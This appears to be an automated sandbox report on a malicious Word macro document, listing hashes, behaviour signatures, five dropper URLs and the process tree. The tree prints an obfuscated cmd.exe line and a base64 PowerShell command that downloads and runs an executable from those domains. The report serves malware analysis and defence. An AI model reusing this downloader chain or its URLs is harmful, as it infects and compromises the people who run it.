Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
-
submitted
11-06-2024 07:55
General
-
Target
9d7cb858c95dc395c70d35c16ca21251_JaffaCakes118.doc
-
Size
89KB
-
MD5
9d7cb858c95dc395c70d35c16ca21251
-
SHA1
106036d522d5f722ae5508d358b5e918558e7511
-
SHA256
29390b9ee891dbeac9519a65a1eaf199a398a502076599e5ced5c7856f1574a7
-
SHA512
06fe9cfc1b1e476f0d458f0bb0a7b9d11bf08b5b41d8798feb9e16c8863f6eb4464c3028f50afff19281d22e46b47e715e5183cc9c15b936a7c0bcaa830247c6
-
SSDEEP
1536:JptJlmrJpmxlRw99NBO+aAXIrlnKchqXN076KC0It4oC:3te2dw99fZ2vR1It4
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://aliu-rdc.org/QwWKYJxM
exe.dropper
http://2idiotsandnobusinessplan.com/wC7
exe.dropper
http://7naturalessences.com/DFaSvtrS
exe.dropper
http://benimdunyamkres.com/v0vig1G1
exe.dropper
http://hostmktar.com/mP
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies Internet Explorer settings 1 TTPs 31 IoCs
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9d7cb858c95dc395c70d35c16ca21251_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SysWOW64\CMd.exeCMd /v/r " ^sE^T ^ ^h^q^x==^=^A^Ag^AA^I^AACA^g^AA^IAAC^A^g^AAIAAC^A^gA^A^I^A^ACAg^AA^I^AACAgA^AI^A^0^H^A9Bw^e^Ag^G^AjBA^dAEGA^jBQf^As^D^ArB^QYA^UG^Ay^B^g^Y^As^D^A^O^B^wQ^A^Y^E^A^k^AAI^A0GA^lB^A^d^A^k^EAt^AQZ^AsGAvB^g^d^A^4G^AJ^Bw^OA^kC^AOBw^QAYEA^kAA^IAwCATB^Aa^AY^E^A^k^AAK^AUG^A^s^B^QaAYE^AkBQ^YA8^G^As^BgbAcHAv^B^AR^A^4C^A^y^BQ^Q^A^o^G^AkAweA^kH^A^y^B^A^dA^s^HAp^A^gT^A8^GA^GB^AJA^ACA^uBQ^a^A^ACATBAa^AYE^A^k^A^A^KAgG^A^jB^QYA^UG^AyBwbAY^GA^7^A^wJA^U^G^A4^B^QZA^4CAn^AwKAYGA2^B^A^U^A^QC^ArAwJ^Aw^FAn^A^wK^A^M^GA^pBA^b^A^I^G^A1B^AcAoD^A^2^Bg^b^A^U^GA^kAQPA4E^AD^B^gR^AQCA^7Aw^J^A^ADA^x^A^wN^AcCA^g^A^Q^P^A^ACAmBg^dAA^F^A^k^AwO^A^kC^AnAA^QAcCAoA^Ad^AkG^A^sBAc^AMFA^u^Aw^JAAF^A^t^B^wL^A0GAv^Bw^YA^4CAyBQ^YAQHAr^B^Q^bA^Q^HAzB^w^bAg^GAvAw^LA^o^DA^w^B^AdA^QHA^o^BAQAED^A^HBQM^AcGAp^Bgd^A^A^DA2^BwL^A0^GAvB^w^Y^A4C^AzBQZ^AI^HArB^Q^bA^EGA^5B^g^b^A^UH^Ak^BQb^Ak^GAuBQ^ZA^I^G^Av^AwL^A^oD^A^w^BAdA^Q^H^A^o^BAQ^A^MF^AyB^A^dA^YH^ATBQY^A^YE^AE^B^wLA^0^G^AvBw^Y^A^4C^Az^BQ^ZAMGAu^B^Q^Z^AMH^AzB^Q^ZAw^G^A^h^Bgc^A^UH^A0B^QYA4^GA^3Aw^L^A8CA6A^Ac^AQ^H^A0^B^A^a^AA^E^A3^A^wQ^AcH^AvAQ^b^A^8^G^A^j^B^g^LA4^G^AhBAb^AA^H^A^z^B^wc^A^U^GA^uB^Qa^A^MHA1B^g^YA^8G^A^uBA^ZA4G^Ah^B^wc^A^QHAvB^Qa^AQ^GA^p^B^g^M^A^8CAv^A^g^O^AAHA0BA^d^A^gG^A^ABQ^T^AgHA^KB^QW^A^sEAX^Bwd^A^EF^Av^A^wZ^A^I^H^AvB^g^LAM^GA^k^BgcA0C^A1B^Q^a^A^wG^A^h^B^w^L^A^8C^A^6^AAcA^QHA^0^BA^a^AcCA9^A^g^T^A^8^G^AG^B^A^J^AsD^A^0BgbA^U^G^Ap^BAb^AM^EAi^BQ^Z^AcFAu^A^AdAU^GA^O^BAIA^QH^A^j^BQZ^A^o^GAi^B^w^bA^0C^A^3BQZA^4^GA^9A^gc^AEEAqB^AJ ^e- ^l^le^h^sr^ewop& ^F^Or /^l %^Y ^In (^ ^9^8^9^ ^ ^ ^-^1 ^0)D^O ^s^E^t u^j^L^a=!u^j^L^a!!^h^q^x:~%^Y, 1!&^iF %^Y == ^0 CA^L^L %u^j^L^a:~^-^99^0% "2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e JABqAEEAcgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABGAG8ATgA9ACcAaAB0AHQAcAA6AC8ALwBhAGwAaQB1AC0AcgBkAGMALgBvAHIAZwAvAFEAdwBXAEsAWQBKAHgATQBAAGgAdAB0AHAAOgAvAC8AMgBpAGQAaQBvAHQAcwBhAG4AZABuAG8AYgB1AHMAaQBuAGUAcwBzAHAAbABhAG4ALgBjAG8AbQAvAHcAQwA3AEAAaAB0AHQAcAA6AC8ALwA3AG4AYQB0AHUAcgBhAGwAZQBzAHMAZQBuAGMAZQBzAC4AYwBvAG0ALwBEAEYAYQBTAHYAdAByAFMAQABoAHQAdABwADoALwAvAGIAZQBuAGkAbQBkAHUAbgB5AGEAbQBrAHIAZQBzAC4AYwBvAG0ALwB2ADAAdgBpAGcAMQBHADEAQABoAHQAdABwADoALwAvAGgAbwBzAHQAbQBrAHQAYQByAC4AYwBvAG0ALwBtAFAAJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAFAAdgBmACAAPQAgACcANwAxADAAJwA7ACQARgBDAE4APQAkAGUAbgB2ADoAcAB1AGIAbABpAGMAKwAnAFwAJwArACQAUAB2AGYAKwAnAC4AZQB4AGUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAaABTACAAaQBuACAAJABGAG8ATgApAHsAdAByAHkAewAkAGoAQQByAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAEYAaABTACwAIAAkAEYAQwBOACkAOwBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAEYAQwBOADsAYgByAGUAYQBrADsAfQBjAGEAdABjAGgAewB9AH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
MD57c37678304558179337f6187e69edec1
SHA1806a0fcbe9412450f8e832f05759ce486c9a0a46
SHA2569d3c8c0f2808c8f0b8a57245499aa448233933066565df31eda3751a348fa141
SHA512f2aaa5ebe90b99be213c9d4107e114f6e3a1e54b9647946567d4d82a0ef43a967aab0e9a4963d594345f463ac16f23f969e02869fd29d736b99386b71decf9d9
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
44KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
64KB
-
Filesize
1024KB